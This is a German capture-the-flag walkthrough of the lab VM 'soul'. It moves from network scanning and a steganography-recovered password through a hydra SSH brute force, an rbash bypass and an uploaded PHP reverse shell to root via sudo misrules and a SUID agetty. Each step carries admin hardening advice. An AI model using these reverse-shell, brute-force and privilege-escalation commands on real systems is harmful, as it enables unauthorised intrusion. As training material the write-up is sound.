192.168.2.152 08:00:27:0c:b9:aa PCS Systemtechnik GmbH
**Analyse:** Der Befehl `arp-scan -l` wird genutzt, um aktive Geräte im lokalen Netzwerk zu entdecken. Ein Host mit der IP `192.168.2.152` wird gefunden. Die zugehörige MAC-Adresse `08:00:27:0c:b9:aa` weist auf eine VirtualBox-VM hin ("PCS Systemtechnik GmbH" ist der OUI-Besitzer für VirtualBox).
**Bewertung:** Das Zielsystem wurde erfolgreich im Netzwerk identifiziert. Die IP `192.168.2.152` ist der Ausgangspunkt für weitere Scans.
**Empfehlung (Pentester):** Die IP `192.168.2.152` im nächsten Schritt mit Nmap scannen.
**Empfehlung (Admin):** Regelmäßige Netzwerkscans durchführen, um nicht autorisierte Geräte zu identifizieren. Netzwerksegmentierung kann die Sichtbarkeit von Geräten einschränken.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-17 06:18 CEST Nmap scan report for soul (192.168.2.152) Host is up (0.00013s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 8a:e9:c1:c2:a3:44:40:26:6f:22:37:c3:fe:a1:19:f2 (RSA) | 256 4f:4a:d6:47:1a:87:7e:69:86:7f:5e:11:5c:4f:f1:48 (ECDSA) |_ 256 46:f4:2c:28:53:ef:4c:2b:70:f8:99:7e:39:64:ec:07 (ED25519) 80/tcp open http nginx 1.14.2 |_http-title: Site doesn't have a title (text/html). |_http-server-header: nginx/1.14.2 MAC Address: 08:00:27:0C:B9:AA (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.13 ms soul (192.168.2.152) [...]
**Analyse:** Ein umfassender Nmap-Scan (`-sS -sC -sV -A -p-`) auf `192.168.2.152` (Host `soul`) zeigt zwei offene TCP-Ports: * **Port 22 (SSH):** OpenSSH 7.9p1 auf Debian 10. Erfordert Authentifizierung. * **Port 80 (HTTP):** Nginx 1.14.2. Der Titel fehlt, was auf eine einfache oder fehlerhafte Seite hindeutet. Das Betriebssystem wird als Linux (Debian) bestätigt.
**Bewertung:** Die Angriffsfläche ist klein. Der Webserver auf Port 80 ist der primäre Ansatzpunkt. SSH ist vorhanden, benötigt aber Zugangsdaten.
**Empfehlung (Pentester):**
1. **Port 80:** Mit `gobuster` oder ähnlichen Tools nach versteckten Verzeichnissen und Dateien suchen. Die Webseite manuell im Browser untersuchen.
2. **SSH:** Vorerst zurückstellen, bis mögliche Benutzernamen oder Passwörter gefunden werden.
**Empfehlung (Admin):**
1. **Nginx (Port 80):** Sicherstellen, dass die Nginx-Konfiguration sicher ist und keine sensiblen Informationen preisgibt. Nginx aktuell halten. Wenn die Webseite nicht aktiv genutzt wird, den Dienst deaktivieren.
2. **SSH:** Standard-Härtung anwenden (starke Passwörter/Keys, Fail2ban, Zugriffsbeschränkungen).
=============================================================== Gobuster v3.5 [...] =============================================================== 2022/10/17 12:24:01 Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 24] /robots.txt (Status: 200) [Size: 9] /saint.jpg (Status: 200) [Size: 190523] =============================================================== 2022/10/17 12:24:48 Finished ===============================================================
**Analyse:** `gobuster` wird auf Port 80 ausgeführt. Es findet drei Dateien: * `/index.html`: Eine sehr kleine Datei (24 Bytes). * `/robots.txt`: Existiert und ist zugänglich (Status 200). * `/saint.jpg`: Eine relativ große Bilddatei (186 KB).
**Bewertung:** Die `index.html` ist wahrscheinlich leer oder enthält nur minimale Informationen. Die `robots.txt` sollte auf interessante Einträge geprüft werden. Die Bilddatei `saint.jpg` ist verdächtig, da sie für eine einfache Webseite ungewöhnlich ist und möglicherweise versteckte Daten (Steganographie) enthält.
127.0.0.1 localhost
127.0.1.1 cyber
192.168.2.152 soul.hmv
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
**Analyse:** Der Hostname `soul.hmv` wird der lokalen `/etc/hosts`-Datei hinzugefügt und auf die IP `192.168.2.152` gemappt. Dies geschieht oft, um Webanwendungen anzusprechen, die auf Hostnamen basierende virtuelle Hosts verwenden.
**Bewertung:** Standardvorgehen, um die Namensauflösung sicherzustellen.
/nothing
**Analyse:** Der Inhalt der `/robots.txt` wird abgerufen. Sie enthält nur den Eintrag `/nothing`.
**Bewertung:** Der Eintrag `/nothing` könnte ein verstecktes Verzeichnis oder eine Datei sein, die für Suchmaschinen gesperrt ist, aber für einen Angreifer interessant sein könnte. Es könnte aber auch eine Sackgasse oder ein Trollversuch sein.
**Empfehlung (Pentester):** Versuchen, `http://soul.hmv/nothing` oder `http://192.168.2.152/nothing` im Browser oder mit `curl` aufzurufen. Wenn es ein Verzeichnis ist, mit `gobuster` weiter untersuchen.
**Empfehlung (Admin):** `robots.txt` sollte keine sensitiven Pfade enthalten. Pfade, die wirklich nicht öffentlich zugänglich sein sollen, müssen serverseitig geschützt werden (z.B. durch Zugriffskontrollen in Nginx).
--2022-10-17 12:25:30-- http://192.168.2.152/saint.jpg
[...]
2022-10-17 12:25:30 (45.3 MB/s) - saint.jpg gespeichert [190523/190523]
**Analyse:** Die Bilddatei `saint.jpg` wird von Port 80 heruntergeladen.
**Bewertung:** Die Datei steht nun für lokale Analyse bereit.
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek [i] Found passphrase: "" [i] Original filename: "pass.txt". [i] Extracting to "saint.jpg.out".
**Analyse:** Das Tool `stegseek` wird verwendet, um zu versuchen, mit `steghide` versteckte Daten aus `saint.jpg` zu extrahieren. Es testet Passphrasen aus der `rockyou.txt`-Wortliste. `stegseek` findet erfolgreich Daten, die mit einer **leeren Passphrase** (`""`) versteckt wurden. Die ursprüngliche Datei hieß `pass.txt` und wird als `saint.jpg.out` extrahiert.
**Bewertung:** Erfolg bei der Steganographie-Analyse! Versteckte Daten wurden gefunden. Die Verwendung einer leeren Passphrase ist extrem unsicher.
**Empfehlung (Pentester):** Den Inhalt der extrahierten Datei `saint.jpg.out` untersuchen.
**Empfehlung (Admin):** Steganographie kann zur Datenexfiltration oder zum Verstecken von Malware/Credentials verwendet werden. Inhalte, die ins Netz hochgeladen oder aus dem Netz heruntergeladen werden, sollten ggf. auf versteckte Daten geprüft werden. Sensible Daten niemals mittels Steganographie mit schwachen/leeren Passphrasen schützen.
lionsarebigcats
**Analyse:** Der Inhalt der extrahierten Datei `saint.jpg.out` ist der String `lionsarebigcats`.
**Bewertung:** Dies ist höchstwahrscheinlich ein Passwort.
**Empfehlung (Pentester):** Das gefundene Passwort `lionsarebigcats` für den SSH-Login (Port 22) testen, möglicherweise in Kombination mit gängigen Benutzernamen oder Namen, die sich aus dem Kontext ergeben (z.B. `daniel`, `soul`).
**Empfehlung (Admin):** Das Passwort `lionsarebigcats` ist relativ schwach und sollte auf keinem System verwendet werden.
Passwort eingeben: lionsarebigcats steghide: Mit diesem Passwort konnten keine Daten extrahiert werden!
**Analyse:** Ein Versuch, `steghide` direkt mit dem Passwort `lionsarebigcats` zu verwenden, schlägt fehl.
**Bewertung:** Bestätigt, dass die Daten mit einer leeren Passphrase versteckt wurden und `lionsarebigcats` der *Inhalt* der versteckten Datei ist, nicht die Passphrase selbst.
Hydra v9.4 (c) 2022 by van Hauser/THC [...]
[...]
[DATA] max 64 tasks per 1 server, overall 64 tasks, 10177 login tries (l:10177/p:1), ~160 tries per task
[DATA] attacking ssh://192.168.2.152:22/
[...]
[22][ssh] host: 192.168.2.152 login: daniel password: lionsarebigcats
[...]
**Analyse:** `hydra` wird verwendet, um einen SSH-Login auf `192.168.2.152` zu erzwingen. * `-L ...names.txt`: Verwendet eine Liste gängiger Vornamen als Benutzernamen. * `-p lionsarebigcats`: Verwendet das gefundene Passwort. * `-t 64`: Setzt die Anzahl der parallelen Tasks (hoch). * `ssh`: Gibt das Zielprotokoll an. * `-F`: Beendet Hydra, sobald ein gültiges Login gefunden wurde. Hydra findet erfolgreich die Kombination `daniel` / `lionsarebigcats`.
**Bewertung:** Die Kombination aus dem durch Steganographie gefundenen Passwort und einem gängigen Benutzernamen aus einer Liste führte zum Erfolg. Initial Access über SSH ist nun möglich.
**Empfehlung (Pentester):** Sich mit den gefundenen Credentials (`daniel:lionsarebigcats`) per SSH anmelden.
**Empfehlung (Admin):** Passwortrichtlinien durchsetzen, die schwache Passwörter verbieten. Fail2ban oder ähnliche Tools zum Schutz vor Brute-Force-Angriffen einsetzen. Regelmäßig überprüfen, ob unbekannte Benutzerkonten existieren.
[...] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.2.152' (ED25519) to the list of known hosts. daniel@192.168.2.152's password: lionsarebigcats Linux soul 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64 [...] Last login: Thu Nov 26 05:27:42 2020 from 192.168.1.58 daniel@soul:~$
**Analyse:** Der SSH-Login als `daniel` mit dem Passwort `lionsarebigcats` ist erfolgreich. Der Pentester erhält eine Shell.
**Bewertung:** Initial Access erfolgreich etabliert.
/usr/bin/rbash
**Analyse:** Die Standard-Shell für `daniel` ist `/usr/bin/rbash` (Restricted Bash), was die verfügbaren Befehle einschränkt.
**Bewertung:** Die Einschränkung muss umgangen werden, um effektiv arbeiten zu können.
daniel@192.168.2.152's password: lionsarebigcats daniel@soul:~$ # Jetzt in einer vollen Bash-Shell
**Analyse:** Durch erneutes Verbinden per SSH mit der Option `-t "bash --noprofile"` wird direkt eine uneingeschränkte Bash-Shell gestartet, wodurch die `rbash`-Einschränkung umgangen wird.
**Bewertung:** Erfolgreicher `rbash`-Bypass. Der Pentester hat nun eine voll funktionsfähige Shell als `daniel`.
**Empfehlung (Pentester):** Mit der Enumeration als `daniel` beginnen.
**Empfehlung (Admin):** Wenn `rbash` als Sicherheitsmaßnahme gedacht ist, sicherstellen, dass Benutzer nicht einfach per SSH eine andere Shell anfordern können (z.B. durch Konfiguration in `sshd_config` oder durch Einschränkung der verfügbaren Befehle in `/etc/passwd`).
default
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name _;
location / {
try_files $uri $uri/ =404;
}
}
server {
listen 80;
listen [::]:80;
server_name lonelysoul.hmv;
root /var/www/html;
index index.html;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.3-fpm.sock;
}
}
**Analyse:** Als `daniel` wird die Nginx-Konfigurationsdatei `/etc/nginx/sites-available/default` untersucht. Sie enthält zwei Server-Blöcke: 1. Der `default_server` für Anfragen ohne spezifischen Hostnamen oder an die IP direkt. 2. Ein zweiter Server-Block für den Hostnamen `lonelysoul.hmv`. Dieser Block ist wichtig, da er eine `location ~ \.php$`-Direktive enthält, die Anfragen an `.php`-Dateien an den PHP-FPM-Prozess (`php7.3-fpm.sock`) weiterleitet. Der Webroot für beide ist `/var/www/html`.
**Bewertung:** Dies bestätigt, dass PHP-Skripte auf dem Server ausgeführt werden können, wenn sie über den Hostnamen `lonelysoul.hmv` aufgerufen werden. Dies eröffnet die Möglichkeit, eine PHP-Webshell oder Reverse Shell hochzuladen und auszuführen.
**Empfehlung (Pentester):**
1. Den Hostnamen `lonelysoul.hmv` zur lokalen `/etc/hosts`-Datei hinzufügen (auf `192.168.2.152` zeigend).
2. Überprüfen, ob `daniel` Schreibrechte in `/var/www/html` hat.
3. Wenn ja, eine PHP-Reverse-Shell nach `/var/www/html` hochladen.
4. Einen Listener starten und die Shell über `http://lonelysoul.hmv/
**Empfehlung (Admin):** Sicherstellen, dass der PHP-FPM-Prozess mit minimalen Rechten läuft (idealerweise als dedizierter Benutzer, nicht `www-data`, wenn möglich). Dateiberechtigungen im Webroot (`/var/www/html`) überprüfen; der Webserver-Prozess oder unprivilegierte Benutzer sollten dort keine Schreibrechte haben. Den virtuellen Host `lonelysoul.hmv` entfernen, wenn er nicht benötigt wird. PHP-FPM und Nginx sicher konfigurieren.
// This script will make an outbound TCP connection to a hardcoded IP and port.
$port = 9001; // CHANGE THIS
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
printit("Successfully opened reverse shell to $ip:$port");
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
**Analyse:** Auf der lokalen Maschine wird eine PHP-Reverse-Shell-Datei (`rev.php`) vorbereitet. Der Code verwendet Port `9001`. Ein HTTP-Server wird gestartet, um die Datei für den Download bereitzustellen.
--2022-10-17 06:50:25-- http://192.168.2.153/rev.php
Connecting to 192.168.2.153:80... connected.
[...]
2022-10-17 06:50:25 (1.14 GB/s) - ‘rev.php’ saved [5495/5495]
**Analyse:** Als Benutzer `daniel` wird die `rev.php`-Datei erfolgreich vom HTTP-Server des Angreifers nach `/var/www/html` heruntergeladen. Dies impliziert, dass `daniel` Schreibrechte in diesem Verzeichnis hat.
**Bewertung:** Die PHP-Shell ist nun auf dem Server platziert und kann über den `lonelysoul.hmv`-Vhost ausgeführt werden. Die Schreibrechte für `daniel` im Webroot sind eine Fehlkonfiguration.
**Empfehlung (Pentester):** Listener auf Port 9001 starten und `curl http://lonelysoul.hmv/rev.php` ausführen.
**Empfehlung (Admin):** Berechtigungen für `/var/www/html` korrigieren. Nur der Administrator oder Deployment-Prozesse sollten dort Schreibrechte haben, nicht reguläre Benutzer.
listening on [any] 9001 ...
**Analyse:** Ein Netcat-Listener wird auf Port 9001 gestartet. Anschließend wird die PHP-Reverse-Shell durch Aufruf von `http://lonelysoul.hmv/rev.php` mit `curl` ausgelöst.
listening on [any] 9001 ... connect to [192.168.2.153] from (UNKNOWN) [192.168.2.152] 57384 Linux soul 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64 GNU/Linux [...] uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ # Shell als www-data erhalten!
**Analyse:** Der Listener empfängt die Verbindung. Die Shell läuft als Benutzer `www-data`, der Benutzer unter dem der PHP-FPM-Prozess ausgeführt wird.
**Bewertung:** Eine zweite Shell auf dem System wurde erlangt, diesmal als `www-data`. Dies kann nützlich sein, um Aktionen durchzuführen, für die `www-data` möglicherweise Rechte hat, `daniel` aber nicht, oder um andere Web-bezogene Dateien zu untersuchen.
[1] + continued nc -lvnp 9001
reset
www-data@soul:/$ # Voll funktionsfähige Shell
**Analyse:** Die erhaltene `www-data`-Shell wird mittels Python und `stty` zu einer voll interaktiven TTY aufgewertet.
**Bewertung:** Die Shell ist nun stabiler und einfacher zu bedienen.
Matching Defaults entries for www-data on soul:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on soul:
(gabriel) NPASSWD: /tmp/whoami
**Analyse:** `sudo -l` als `www-data` zeigt, dass dieser Benutzer den Befehl `/tmp/whoami` als Benutzer `gabriel` ohne Passwort ausführen darf.
**Bewertung:** Da `/tmp` ein world-writable Verzeichnis ist, kann `www-data` (oder jeder andere Benutzer) die Datei `/tmp/whoami` erstellen oder überschreiben. Dies ist eine klassische sudo-Fehlkonfiguration, die zur Privilege Escalation missbraucht werden kann.
**Analyse:** `www-data` schreibt den Befehl `bash` in die Datei `/tmp/whoami`, macht sie ausführbar (`chmod 777` ist übertrieben, `+x` würde reichen) und führt sie dann mit `sudo -u gabriel` aus. Dies startet eine Bash-Shell als Benutzer `gabriel`.
**Bewertung:** Erfolgreiche Privilege Escalation von `www-data` zu `gabriel`.
**Empfehlung (Pentester):** Als `gabriel` weiter enumerieren (`sudo -l`, Home-Verzeichnis prüfen).
**Empfehlung (Admin):** Die gefährliche `sudo`-Regel für `/tmp/whoami` sofort entfernen. Niemals `sudo`-Ausführung von Dateien in world-writable Verzeichnissen erlauben.
HMViwazhere
Matching Defaults entries for gabriel on soul:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User gabriel may run the following commands on soul:
(peter) NPASSWD: /usr/sbin/hping3
**Analyse:** Als `gabriel` wird die User-Flag `HMViwazhere` gefunden (Pfad `/home/gabriel/user.txt` angenommen). `sudo -l` zeigt, dass `gabriel` den Befehl `/usr/sbin/hping3` als Benutzer `peter` ohne Passwort ausführen darf.
**Bewertung:** User-Flag erlangt. Eine weitere unsichere `sudo`-Regel wurde gefunden. `hping3` hat einen interaktiven Modus, der oft zum Ausführen von Shell-Befehlen missbraucht werden kann.
hping3> /bin/bash # Befehl im hping3 Prompt eingeben
**Analyse:** `hping3` wird mit `sudo -u peter` gestartet. Am `hping3>`-Prompt wird `/bin/bash` eingegeben. Dies führt dazu, dass `hping3` eine Bash-Shell startet, die als Benutzer `peter` läuft.
**Bewertung:** Erfolgreiche Privilege Escalation von `gabriel` zu `peter`.
**Empfehlung (Pentester):** Als `peter` weiter enumerieren (`sudo -l`, SUID/Capabilities prüfen).
**Empfehlung (Admin):** Die gefährliche `sudo`-Regel für `hping3` entfernen. Interaktive Tools sollten nicht über `sudo` aufrufbar sein, wenn dies nicht absolut notwendig und sicher implementiert ist.
/usr/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/sbin/agetty
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
-rwsrws--- 1 root peter 64744 Jan 10 2019 /usr/sbin/agetty
**Analyse:** Eine Suche nach SUID-Dateien (`find / -perm -u=s ...`) offenbart mehrere Standard-SUID-Binaries. Die Berechtigungen von `/usr/sbin/agetty` werden geprüft (`ls -la`). Die Ausgabe `-rwsrws---` zeigt, dass `agetty` SUID Root (`s` an der User-Execute-Position) und SGID `peter` (`s` an der Group-Execute-Position) ist und zur Gruppe `peter` gehört.
**Bewertung:** Das ist eine kritische Fehlkonfiguration! `agetty` ist normalerweise nicht SUID oder SGID. Die Kombination aus SUID Root und SGID `peter` (der aktuelle Benutzer) macht es trivial, Root-Rechte zu erlangen, indem man `agetty` mit bestimmten Parametern aufruft.
Debian GNU/Linux 10 soul tty soul login: root (automatic login) bash-5.0# id uid=1002(peter) gid=1002(peter) euid=0(root) groups=1002(peter) bash-5.0# cd /root bash-5.0# ls -la total 28 drwx------ 4 root root 4096 Nov 26 2020 . drwxr-xr-x 18 root root 4096 Nov 26 2020 .. -rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc drwxr-xr-x 3 root root 4096 Nov 26 2020 .local -rw-r--r-- 1 root root 148 Aug 17 2015 .profile drwx------ 2 root root 4096 Nov 26 2020 .ssh -rw------- 1 root root 11 Nov 26 2020 rootflag.txt bash-5.0# cat rootflag.txt HMVohmygod
**Analyse:** Der Befehl `agetty -o -p -a root -l /bin/bash tty` wird ausgeführt. * `-o -p`: Optionen für den Login-Prozess (hier wahrscheinlich "no issue" und "no password prompt"). * `-a root`: Führt einen automatischen Login als Benutzer `root` durch. * `-l /bin/bash`: Startet `/bin/bash` als Login-Shell. * `tty`: Ein Platzhalter für das Terminalgerät. Da `agetty` SUID root ist, wird dieser Prozess mit Root-Rechten ausgeführt, was den automatischen Login als `root` und das Starten der Bash-Shell ermöglicht. Der `id`-Befehl zeigt `euid=0(root)`. Anschließend wird die Root-Flag aus `/root/rootflag.txt` gelesen.
**Bewertung:** Privilege Escalation zu Root erfolgreich abgeschlossen durch Ausnutzung des fehlerhaft konfigurierten SUID/SGID `agetty`-Binaries.
**Empfehlung (Pentester):** Root-Flag dokumentieren.
**Empfehlung (Admin):** Die SUID- und SGID-Bits von `/usr/sbin/agetty` sofort entfernen (`chmod ug-s /usr/sbin/agetty`). Untersuchen, warum diese Bits gesetzt wurden (absichtlich oder durch einen Fehler/Exploit?). Regelmäßig SUID/SGID-Binaries auf dem System überprüfen und unnötige oder gefährliche Konfigurationen entfernen.